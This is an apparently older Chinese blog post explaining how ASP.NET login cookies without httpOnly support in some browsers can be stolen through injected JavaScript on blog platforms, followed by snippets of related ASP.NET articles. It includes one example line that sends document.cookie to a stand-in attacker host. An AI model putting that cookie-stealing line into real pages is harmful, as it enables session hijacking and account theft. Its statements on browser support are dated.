一个一直都让人忽略的ASP.NET安全问题.
自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.
这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .
而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.
但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?
例如 , 假如你用FireFox登录博客园(www.cnblogs.com
), 然后到一个恶意的用户的文章去.
你知道cnblogs.com允许用户随意增加javascript的.
那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:
hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)
当然,ASP.NET发送给客户端的信息是加密过的.
但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.
所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.
但是如果使用IE6SP1,IE7,就不会存在该问题.
因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.
相关文档：
你会经常碰到这种情况：几乎在网站的每个页面上,存储一些全局处理信息。理想的做法是将这些信息一次性的集中存储在资料档案库中，而不是在网站的每个页面上都重复这样的操作。比如说数据库连接串就是这样的信息，如果这些信息不是集中存储在特定区域中，而是在网站的每个需要连接数据库的页面上手工输入� ......
可以使用受保护配置来加密 Web 应用程序配置文件（如 Web.config
文件）中的敏感信息（包括用户名和密码、数据库连接字符串和加密密钥）。对配置信息进行加密后，即使攻击者获取了对配置文件的访问，也可以使攻击者难以获
取对敏感信息的访问，从而改进应用程序的安全性。
针对asp.net 2.0的应用程序的数据库链接字符串� ......
本文介绍通过缓存来提高网页的执行效率。
1. ASP.NET Output Caching
当一个网页频繁被访问的时候，我们可以通过把整个网页缓存来提高执行效率。这样作的优点是，当用户再次访问这个网页的时候，被格式化好的HTML会被直接送显。
为什么会存在这种效果呢？我们通过ASP.NET的基本运行机制来解释� ......
ASP.NET对请求处理的过程
当请求一个*.aspx文件的时候，这个请求会被inetinfo.exe进程截获，它判断文件的后缀（aspx）之后，将这个请求转交给 ASPNET_ISAPI.dll，ASPNET_ISAPI.dll会通过http管道（Http PipeLine）将请求发送给ASPNET_WP.exe进程，在ASPNET_WP.exe进程中通过HttpRuntime来处理这个请求，处理完毕将结果返回 ......
